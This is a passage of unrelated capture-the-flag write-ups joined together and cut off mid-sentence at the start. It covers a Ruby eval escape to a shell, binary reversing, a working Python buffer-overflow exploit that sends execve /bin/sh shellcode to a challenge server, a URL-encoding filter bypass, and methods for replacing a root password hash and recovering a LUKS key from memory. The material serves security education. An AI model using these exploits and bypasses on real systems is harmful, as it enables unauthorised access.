chwilę, ale wpadliśmy na to, że wykonanie `$0` również powinno dać nam shell - spróbowaliśmy więc: `$#{~-$.}` Gdzie `$.` to aktualny numer linii w stdin (czyli u nas 1). Operacja `~-number` zwraca nam liczbę o 1 mniejszą, czyli 0. Interpolujemy wynik jako stringa, doklejamy do znaku `$` i wywołujemy uzyskane `$0` w shellu uzyskując dostęp do shella.Flaga: `hitcon{It's hard to say where ruby went wrong QwO}` W ten sposób zdobyliśmy kolejne 50 punktów, rozwiązując w ten sposób całe zadanie. ### ENG version We get the code: ```ruby #!/usr/bin/env ruby fail 'flag?' unless File.file?('flag') $stdout.sync = true limit = ARGV[0].to_iputs "Hi, I can say #{limit} bytes :P"s = $stdin.gets.strip! if s.size > limit || s[/[[:alnum:]]/] puts 'oh... I cannot say this, maybe it is too long or too weird :(' exitend puts "I think size = #{s.size} is ok to me."r = eval(s).to_sr[64..-1] = '...' if r.size > 64puts r``` As can be seen, it gets data from the use and evaluates it with `eval()`, but only if it doesn't contain any alphanumerical characters and is short enough. There are 4 instances of the task - each one accepts less characters. First 1024, second 64, third 36 and last one only 10. For beating each one we get 50 points. The best solution we came up with initially was executing shell operations with (``` ` ```) and string interpolation. We use here some numerical values that are accesible in the interpreter, eg. `$$` gives is PID of the process so calling `$$/$$` gives nam `1`. This way we can get any number and by using `''<
#Secret Library ##by TheJH (Reversing) > Books are a great thing. And since libraries are a big amount of books you can read in one place, they're great, too. > But this secret library some guys started is a bit different. You have to know the exact title of a book to get it, you can't look around. So you have to know another person in the library who knows some book titles or you won't be able to read anything. A bit like an invite-only library. > This whole thing seems weird. Could you poke around and try to figure out what they're up to? If you could grab one of their books, that would be awesome. > connect to school.fluxfingers.net:1527 ##The main logicThe target is a 64-bit ELF file. Since its logic is quite simple I won't explain in details the assembly code.Here's the pseudo code of the main communication: ```Cspecial_input = 0; // stored at 0x603394char input_buffer[9];char file_name[9]; while (true) { input = read_user_input(); // Read user input into input_buffer and // return the number represented by input_buffer as hex string // Only '0'-'9', 'A'-'F' are accepted. switch (input) { case 0x952A7224: if (special_input == 0x278F03): { display("sure! the head librarian ...\n"); display_current_dir(); // Display content of current directory } break; case 0xF1140B88: display("you want me to show you a book?....\n"); file_name[0] = 0; for (int i = 0; i < 2; i++) { if (read_user_input() & 1) strcat(file_name, input_buffer); else: { display("pah! we don't have books ....\n"); break; } } display_file_content(file_name); break; case 0xF39ED0C: convert_bin_to_hex(); break; case 0x420B65F7: display("alright, show me your library card.\n"); special_input = read_user_input(); if (special_input == 0x278F03) { display("oh, you say you're the head librarian? prove it!\n"); // Here's is the guessing game // we have 10 tries to guess the random number from "/dev/urandom" if (failed_to_guess) special_input = 0; } display("alright!\n"); }}``` So here are the steps we should follow to get the flag: * Enter "**420B65F7**", the program responses: "**alright, show me your library card.**"* Enter "**00278F03**", the program responses: "**oh, you say you're the head librarian? prove it!**"* Playing the guessing game and win the game to ensure that **special_input == 0x278F03*** Enter "**952A7224**", then the program will tell us the content of the current directory and of course the name of the flag file which contains hopefully only hex characters.* Enter "**F1140B88**", the program response: "**you want me to show you a book? ...**", then we enter the flag file name twice as hex string, then we have a flag. But how can we win the guessing game? Well I may say it's *impossible*! ## rt_sigprocmaskThe trick here is the function at **0x400AF6** that converts an 8-bit hex character into the number it represents:```Cint hex_char_to_number(char ch) { if (ch < '0') return -1; if (ch <= '9') return (ch - '0'); // '0' -> '9' if (ch < 'A') { // Tricky //ch = [0x3A - 0x40] rt_sigprocmask(SIG_BLOCK, NULL, (sigset_t*)0x603397, sizeof(sigset_t)); } else if (ch <= 'F') return (ch - 'A' + 10); // 'A' -> 'F' else return -1;}```If we enter any character in range from 0x3A (':') to 0x40 ('@') the program will call **rt_sigprocmask** to return the current blocked signals to offset **0x603397**. Since there is usually no blocked signal, the 8 bytes starting at **0x603397** will be zero-filled. The interesting part is the **special_input** variable which is stored at **0x603394**. Since this ELF is little-endian, the **rt_sigprocmask** call will overwrite the most significant byte of **special_input** and set it to zero. ##SolutionSo here's how we should enter to get the flag: * Enter "**420B65F7**", the program responses: "**alright, show me your library card.**".* Enter "**XY278F03**", where **XY** could be any two hex characters ('0'-'F','A'-'9') except "00". The program responses: "**alright!**" and set the value of **special_input** to **XY278F03**.* Enter a string that contains at least one character in range 0x3A-0x40 to trigger the **rt_sigprocmask**. The most significant byte of **special_input** will be set to zero. This means that **secial_input == 0x00278F03*** Enter "**952A7224**", then the program will show us the name of the flag file.* Enter "**F1140B88**", then enter two hex strings representing the name of the flag file to get the flag. Here's our example input while connecting to **school.fluxfingers.net:1527**: * **420B65F7*** **12278F03*** **12278F0@*** **952A7224** And we have the following responses from server: ```hi! this is the secret library. if you want me to speak to you, you need to know the magic words.alright, show me your library card.alright!warning: invalid hexchar '@'you do know the magic words, right?sure! the head librarian is allowed to know about all the books!------------16F7F4D391F030CF------------``` Then we know the flag file name is "16F7F4D391F030CF". We connect to **school.fluxfingers.net:1527** again and enter the following sequences: * **F1140B88*** **16F7F4D3*** **91F030CF** Here's how the server responses: ```hi! this is the secret library. if you want me to speak to you, you need to know the magic words.you want me to show you a book? certainly! just tell me the name of the book.oh, yes, we have that! here you go...flag{our_secret_is_that_we_really_just_have_this_one_book} ====================``` So the flag is **flag{our_secret_is_that_we_really_just_have_this_one_book}**
#Zoo##by TheJH (Reversing) > Instead of sitting in the classroom, let's go to the zoo today and look at some strange animals! You'll need a license key for entering though. Can you make one? > connect to school.fluxfingers.net:1532 Due to a silly coding bug I didn't succeed to get the flag from the server on time, however I still make a writeup for this cool challenge. ## The SIGILL handlerThe program starts by installing the handler for SIGILL then requiring user name and license code. It reads those information from *stdout* (not from stdin as usual) and do the checking.The SIGILL handler code is quite interesting: ```asm.text:00400083 mov esp, 0FFFFE000h.text:00400088 mov eax, 13 ; rt_sigaction.text:0040008D mov edi, 4 ; SIGILL.text:00400092 mov rsi, offset _4001A7 ; pointer to struct sigaction.text:0040009C mov edx, 0.text:004000A1 mov r10d, 8``` The address **0x4001A7** is the location of the ```struct sigaction``` provided by the program. ```cstruct sigaction { __sighandler_t sa_handler; unsigned long sa_flags; __sigrestore_t sa_restorer; sigset_t sa_mask; /* mask last for extensibility */};``` Let's have a look at this data structure: ```asm.text:004001A7 _4001A7 dq offset _40028C ; handler function.text:004001AF dq 44000004h ; flags.text:004001B7 dq offset _400271 ; restorer``` The flags value **0x44000004** has **SA_SIGINFO** bit (0x00000004) turned on indicating that the function at **0x40028C** is a sigaction function with the following prototype: ```cvoid (*_sa_sigaction)(int signum, struct siginfo *info, void *context);``` Let's dig deeper:```asm.text:0040028C add rdx, 0A8h ; rdx -> context, (rdx + 0xA8) -> the value of ; rip that raises the signal.text:00400293 mov rax, [rdx] ; rax = value of rip that raises the signal.text:00400296 mov ebx, 0FFFC0F00h ; store the previous rip where SIGILL were raised.text:0040029B cmp [rbx], rax.text:0040029E mov [rbx], rax.text:004002A1 jnz short _4002A8 ; rdx -> cs.text:004002A3 add qword ptr [rdx], 7 ; skip 7 bytes to the next instruction.text:004002A7 retn.text:004002A8 _4002A8: .text:004002A8 add rdx, 10h ; rdx -> cs.text:004002AC xor qword ptr [rdx], 12h ; switch between x86 mode and x64 mode.text:004002B0 retn``` So for each instruction that raises **SIGILL**, this handler switches between x86 mode and x64 mode and also changes privileges (by XORing the **cs** segment register with **0x12**), then executes that instruction again. If SIGILL is still raised then the handler skips 7 bytes to go to the next instruction. ## The fork callAfter reading user name and license code, the program invokes the **fork** call:```asm.text:00400260 mov eax, 57.text:00400265 syscall ; fork.text:00400267 test eax, eax.text:00400269 jz _4001C7 ; is child process, goto _4001C7.text:0040026F _40026F: .text:0040026F jmp short _40026F ; infinite loop for parent process``` Then the parent process goes to the infinite loop at **0x40026F**, while the child process continues its work explained by the following pseudo code: ```cppid = getppid(); // Get parent process IDptrace(PTRACE_ATTACH, ppid, NULL, NULL); // Attach to parent processwait4(ppid, NULL, 0, NULL); // Wait until the parent process breaks.ptrace(PTRACE_POKEUSR, ppid, offsetof(struct user, regs.eip), 0x04002B1); // Write 0x4002B1 into register eip of the parent processptrace(PTRACE_DETACH, ppid, NULL, NULL);``` So the child process just changes the register **eip** of the parent process to **0x4002B1**. The parent process then continues its execution from **0x4002B1**. ## The license code checkingThe license code checking is explained by the pseudo code below: ```cchar *license; // Liscense code is stored herechar *name; // Name stored hereev = eventfd(0, EFD_NONBLOCK | EFD_SEMAPHORE); // Initialize the eventfdDWORD f1 = (*(DWORD*)name) ^ 0x0023002B ^ (*(DWORD*)license); DWORD prev_x = 0;DWORD prev_y = 0;char *s = license + 3;do { DWORD s0 = ((DWORD)s[0] + 0xE0) & 0x3F); DWORD s1 = ((DWORD)s[1] + 0xE0) & 0x3F); DWORD s2 = ((DWORD)s[2] + 0xE0) & 0x3F); DWORD sum = (s0 << 12) | (s2 << 6) ^ s1; x = sum & 0x1FF; // The lower 9-bit y = sum >> 9; // The higher 9-bit s += 3; dx = abs(x - prev_x); dy = abs(y - prev_y); if (dx == 0) { QWORD chk = 0; for (int i = 0; i < 16; i += 2) chk += *(WORD*)(name + i); // Get name's checksum chk &= 0xFFFF; // Get the lower 16-bit DWORD H1 = (chk & 0xFF + 0x100); DWORD H2 = (chk >> 8 + 0x100); QWORD h = (H1 ^ prev_x) | (H2 ^ prev_y); write(ev, &h, 8); // Write value of h to ev break; // Now check the result } else { prev_x = x; prev_y = y; QWORD h = 1; if (dx | dy == 3 && dx ^ dy == 3) h = 0; if (dx & dy & 0xFFFFFFFC) h = 2; write(ev, &h, 8); }} while (dx != 0); // Check the resultQWORD h;if (f1 || read(ev, &h, 8) == 8) display("nope, that is not valid\n");else display_flag();``` For each 3 characters from the license the program calculates the value of **x** and **y** and performs the check based on those values and the values calculated from the the previous iteration. The program only displays flag if **f1 == 0** and the last read of **ev** returns error. > If the eventfd counter is zero at the time of the call to **read**, then the call either blocks until the counter becomes nonzero (at which time, the **read** proceeds as described above) or fails with the error EAGAIN if the file descriptor has been made nonblocking. Here are our targets: * to make **f1 == 0**: We just need to generate the first 4 bytes of the license code by simple XOR operations.* to make the program always **write** the value of **0x0** (QWORD) to **ev**. There are 2 locations the program writes to **ev**. Let's examine the first location, when **dx == 0**:```cDWORD H1 = (chk & 0xFF + 0x100); // H1 and H2 are generated from user name's checksumDWORD H2 = (chk >> 8 + 0x100);QWORD h = (H1 ^ prev_x) | (H2 ^ prev_y); write(ev, &h, 8);``` For the value written to **ev** being equal zero we should have **H1 == prev_x** and **H2 == prev_y**. So the last values of **x** and **y** can be generated from name's checksum. Let's examine the 2nd location of the **write** operation, when **dx > 0**:```cprev_x = x;prev_y = y;QWORD h = 1;if (dx | dy == 3 && dx ^ dy == 3) h = 0;if (dx & dy & 0xFFFFFFFC) h = 2;write(ev, &h, 8);``` We realize that there are few combinations of (dx, dy) that will cause the value of **0x0** (QWORD) written to **ev**: * (dx, dy) = (1, 2) * (dx, dy) = (2, 1) * (dx, dy) = (3, 0) ## Generating license code from nameThe first 4 bytes of license can be easily generated: ```cchar *license;char *name; // Name stored here *(DWORD*)license = *(DWORD*)name ^ 0x0023002B;``` The remain of the license is generated as described below: * Step 1: Initially prev_x = 0, prev_y = 0* Step 2: Generate 3 license characters so that **x == prev_x + dx**, **y == prev_y + dy**, where (dx, dy) can be one of the following values: * (dx, dy) = (1, 2) * (dx, dy) = (2, 1) * (dx, dy) = (3, 0)* Step 3: If we have **x == H1** and **y == H2**: just replicate the last 3 characters of the license and we finish. Otherwise back to step 2 Let's assume: * A is the number of times (dx, dy) == (1, 2)* B is the number of times (dx, dy) == (2, 1)* C is the number of times (dx, dy) == (3, 0) We should solve the following equation: * A + 2B + 3C = H1* 2A + B = H2 That's where **z3** comes to play! ## The license generation codeWe use Python and z3 to create our license generation. Here's the [source file](https://github.com/duc-le/ctf-writeups/blob/master/2015_hack.lu_CTF/%2324_Zoo/gen.py) Please note that for some names we cannot find the appropriated license code. Below is an example of the succeeded generation: > hello hndlpcngfdlnhg! > starting the license checker for you... > your name: your license code: > flag{this is flag, plz submit me} > wrapper: read from child So the flag is **flag{this is flag, plz submit me}**
## precision (pwn, 100p, 272 solves) ### PL[ENG](#eng-version) > nc 54.173.98.115 1259 > [precision_a8f6f0590c177948fe06c76a1831e650](precision) Pobieramy udostępnioną binarkę i na początek sprawdzamy jakie utrudnienia przygotowali nam autorzy. ```# checksec.sh --file precisionRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision```Widać, że nieduże ;). Krótka analiza w IDA pokazuje nam, że program:1. Realizuje własną wariację stack guard (dla małego utrudnienia jako liczbę zmiennoprzecinkową).2. Wypisuje adres bufora oraz za pomocą `scanf` pobiera do niego od nas dane (za pomocą specyfikatora `%s` nieograniczającego wielkość).3. Sprawdza wartość cookie/canary, wypisuje nasz bufor i wychodzi za pomocą zwykłego `ret`. Mamy więc do czynienia z prostym buffer overflow z umieszczeniem shellcode'u na stosie (brak NX oraz podany adres bufora). ```pythonimport socket s = socket.socket()s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/shs.send('a5315a4755155040'.decode('hex')) # stack guards.send('aaaaaaaaaaaa') # paddings.send(buf_addr.decode('hex')[::-1]) # ret: buffer addresss.send('\n')print (s.recv(9999))s.send('cat flag\n')print (s.recv(9999))s.close()``` Oraz wynik: `flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}` ### ENG version > nc 54.173.98.115 1259 > [precision_a8f6f0590c177948fe06c76a1831e650](precision) We download the binary and start with checking what kind of obstacles were prepared: ```# checksec.sh --file precisionRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision```As can be seen, not much ;). Short analysis in IDA shows us that the binary:1. Implements a custom stack guard (to make it a little bit harder, as s floating point number).2. Prints the buffer address and uses `scanf` to read input data (with `%s` without limiting the size of input)3. Checks the value of canary, prints the buffer and exits with `ret`. Therefore, we are dealing with a simplem buffer overflow with placing shellcode on the stack (no NX and explicitly printed out buffer address).The exploit: ```pythonimport socket s = socket.socket()s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/shs.send('a5315a4755155040'.decode('hex')) # stack guards.send('aaaaaaaaaaaa') # paddings.send(buf_addr.decode('hex')[::-1]) # ret: buffer addresss.send('\n')print (s.recv(9999))s.send('cat flag\n')print (s.recv(9999))s.close()``` And the result: `flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}`
Task URL: http://ctf.link/challenges/21/Description:----------------------------------------­------------------------------So I hope you're well insured, because the nineties have sent us theirbest thing ever: bright colors and Comic Sans MS. Please end it beforeeveryone dies due to internal bleedings.1.ctf.link:1123----------------------------------------­-----------------------------Contact Me: FB.com/belcaid.mohammedGreetz To: Bilal & Team b0wa9a & HackXore#Like + #Subscribe + #Share and Thanks for Watching !!
## Challenge We see a page with a link to the page with the flag at /secret.php but we see get a 403 error when we visit the page: ![](mui_ne1.png) ![](mui_ne2.png) ## Solution To exploit the filtering we just use the hex value of "secret" in the url: ```%73%65%63%72%65%74.php``` Visit `http://lab2.grandprix.whitehatvn.com/%73%65%63%72%65%74.php` to get the flag: ![](mui_ne3.png) ## Solved byr00t
<span>Shitty Security Appliance - 200</span>This is a challenge written by kajer.  The Challenge was distributed as a 3GB .OVA file.  This .OVA file was a VMware 5.5 export of a "shitty security appliance".The OVA file will extract out to the typical VMware files needed to run a VM.  The VMDK contains a boot partition and an encrypted system partition.  Off-line analysis is possible if you use /boot/hello.jpg as the LUKS decryption key.  If you did not find this hint, you needed to import the disk to VM player to then run.  You will have needed the "NOTES" section from the OVA template to get the default admin password, of admin.Once booted the appliance prompts for a login.  Using the admin / admin credentials, you are shown your current license and then prompted that  your license has expired.  You are given the option to delete the old one and enter a new one.
# Dr. Bob ## Problem There are elections at the moment for the representative of the students and the winner will be announced tomorrow by the head of elections Dr. Bob. The local schoolyard gang is gambling on the winner and you could really use that extra cash. Luckily, you are able to hack into the mainframe of the school and get a copy of the virtual machine that is used by Dr. Bob to store the results. The desired information is in the file /home/bob/flag.txt, easy as that. [mega.nz mirror](https://mega.nz/#!qoUDxYrB!W-C6vZxiulkaZ9ONWbyohCpAOfRbLtvHIgIICvjeZWk) (598.6 MB) ## Solution Credit: [@emedvedev](https://github.com/emedvedev), [@gellin](https://github.com/gellin), [@johndearman](https://github.com/johndearman) Firstly, let's examine the archive we're given: ```./home./home/dr_bob./home/dr_bob/.VirtualBox./home/dr_bob/.VirtualBox/compreg.dat./home/dr_bob/.VirtualBox/Machines./home/dr_bob/.VirtualBox/Machines/Safe./home/dr_bob/.VirtualBox/Machines/Safe/Logs./home/dr_bob/.VirtualBox/Machines/Safe/Logs/VBox.log./home/dr_bob/.VirtualBox/Machines/Safe/Logs/VBox.log.1./home/dr_bob/.VirtualBox/Machines/Safe/Logs/VBox.log.2./home/dr_bob/.VirtualBox/Machines/Safe/Safe.vbox./home/dr_bob/.VirtualBox/Machines/Safe/Safe.vbox-prev./home/dr_bob/.VirtualBox/Machines/Safe/Safe.vdi./home/dr_bob/.VirtualBox/Machines/Safe/Snapshots./home/dr_bob/.VirtualBox/Machines/Safe/Snapshots/2015-09-26T13-33-10-508528000Z.sav./home/dr_bob/.VirtualBox/selectorwindow.log./home/dr_bob/.VirtualBox/selectorwindow.log.1./home/dr_bob/.VirtualBox/VBoxSVC.log./home/dr_bob/.VirtualBox/VBoxSVC.log.1./home/dr_bob/.VirtualBox/VBoxSVC.log.2./home/dr_bob/.VirtualBox/VBoxSVC.log.3./home/dr_bob/.VirtualBox/VBoxSVC.log.4./home/dr_bob/.VirtualBox/VirtualBox.xml./home/dr_bob/.VirtualBox/VirtualBox.xml-prev./home/dr_bob/.VirtualBox/xpti.dat``` There's a `.VirtualBox` dir containing not just the box image, but config files and a snapshot along with it. Given you already have VirtualBox installed, move `Machines/Safe` to your VirtualBox dir. Restore the snapshot: ![](login.png?raw=true) Login prompt with seemingly no way around it. Let's reboot the machine: ![](passphrase.png?raw=true) Now the nature of the challenge becomes more clear: we have a [LUKS](https://en.wikipedia.org/wiki/Linux_Unified_Key_Setup)-encrypted hard drive with no knowledge of the passphrase or a login prompt with the drive already mounted but no knowledge of the password. PLOT TWIST! There are actually two ways to solve this challenge, and we'll explore both. ### Logging in Let's think about the login prompt: since it's a virtual machine, we have complete control over the unencrypted files, and from the previous steps we can see that only `/home` is encrypted. One of these files we have complete control over? `/etc/shadow`. That's what a typical `/etc/shadow` entry containing a password hash looks like: ```smithj:Ep6mckrOLChF.:10063:0:99999:7:::``` Let's look for strings formatted like this inside our `.vdi` drive image, find out what the password hash for `root` is and replace it with our own hash of a known password. It can be done with a hex editor which is comfortable with lookups inside a 1.78 GB disk image (I use _Synalyze It!_ on OS X), as well as your typical command-line tools. For the sake of brevity I'll use the latter: Generating a hash for a known password: ```$ mkpasswd -m sha-512 mynewpassword saltsalt$6$saltsalt$ZzMhzEvGVJfYqywGstIsbfPRf7x0n1km8ZHJAmnFZ3juwus6rwrvnLbtcRCFsRd.gH8pbMZlTEtEHyOSNmOyT0``` Searching for the root password to replace: ```$ strings Safe.vdi | grep root: | grep :::root:$6$pBOgEWfD$vKmHQo3cYURAjB50meHPQw1MvDBKBSuqLj53rPeLCc23l26L1YRuJTfu.KV1KDXb/1ekrvb4EBRZt.xuKRRER0:16699:0:99999:7:::[...]``` Replacing every occurrence of the root password hash with ours: ```$ LANG=C sed -i -e 's/$6$pBOgEWfD$vKmHQo3cYURAjB50meHPQw1MvDBKBSuqLj53rPeLCc23l26L1YRuJTfu\.KV1KDXb\/1ekrvb4EBRZt\.xuKRRER0/$6$saltsalt$ZzMhzEvGVJfYqywGstIsbfPRf7x0n1km8ZHJAmnFZ3juwus6rwrvnLbtcRCFsRd.gH8pbMZlTEtEHyOSNmOyT0/g' Safe.vdi``` All that's left is restoring the snapshot and logging in as `root:mynewpassword`. We're in! ![](in.png?raw=true) ### Breaking the encryption The other way of recovering the flag is more complicated but also more exciting. Well, everything with "breaking" and "encryption" in a sentence is exciting _a priori_, but we'll also get to play with memory dumps, which is always fun. This solution is based on the fact is that the drive is already decrypted in the snapshot, which means that the decryption key is stored somewhere in memory. We'll get a memdump with the VirtualBox management tool: ```$ vboxmanage debugvm "Safe" dumpguestcore --filename safe.elf``` The tool of choice for examining memory dumps is [Volatility](http://www.volatilityfoundation.org), and I encourage you to play with it and find out how much data you can actually salvage from a dump (spoiler alert: a variety of passwords and keys including `sshd` hostkeys, process list, open files and their content, and a lot more), but in this case we need something very specific: an AES key for LUKS encryption. We'll use [aeskeyfind](https://citp.princeton.edu/research/memory/code/): ```$ ./aeskeyfind safe.elf1fab015c1e3df9eac8728f65d3d16646Keyfind progress: 100%``` Simple as that. The key we've recovered is a master key: we can easily set a new passphrase with it. We'll reset the root password first: boot by appending `init=/bin/bash` to the Grub entry. ![](grub.png?raw=true) Remove the root password from `/etc/shadow`, reboot, load the OS ignoring the encrypted drive passphrase prompt. Almost done: now we just need to write our master key to a file and use it to set a new passphrase. ```# echo 1fab015c1e3df9eac8728f65d3d16646 | xxd -r -p > key# cryptsetup luksAddKey --master-key-file key /dev/vg/homeEnter new passphrase for key slot:Verify passphrase:``` Issue another reboot and enter your new passphrase when prompted. That's it! ![](in2.png?raw=true) ### One more thing One last tiny part of the challenge: there's no flag when you `cat` the file. ![](noflag.png?raw=true) Don't worry: it's just hidden with a carriage return char. Open the file in a text editor and you're good. :) ![](flag.png?raw=true) Solved! 10/10, would analyze again.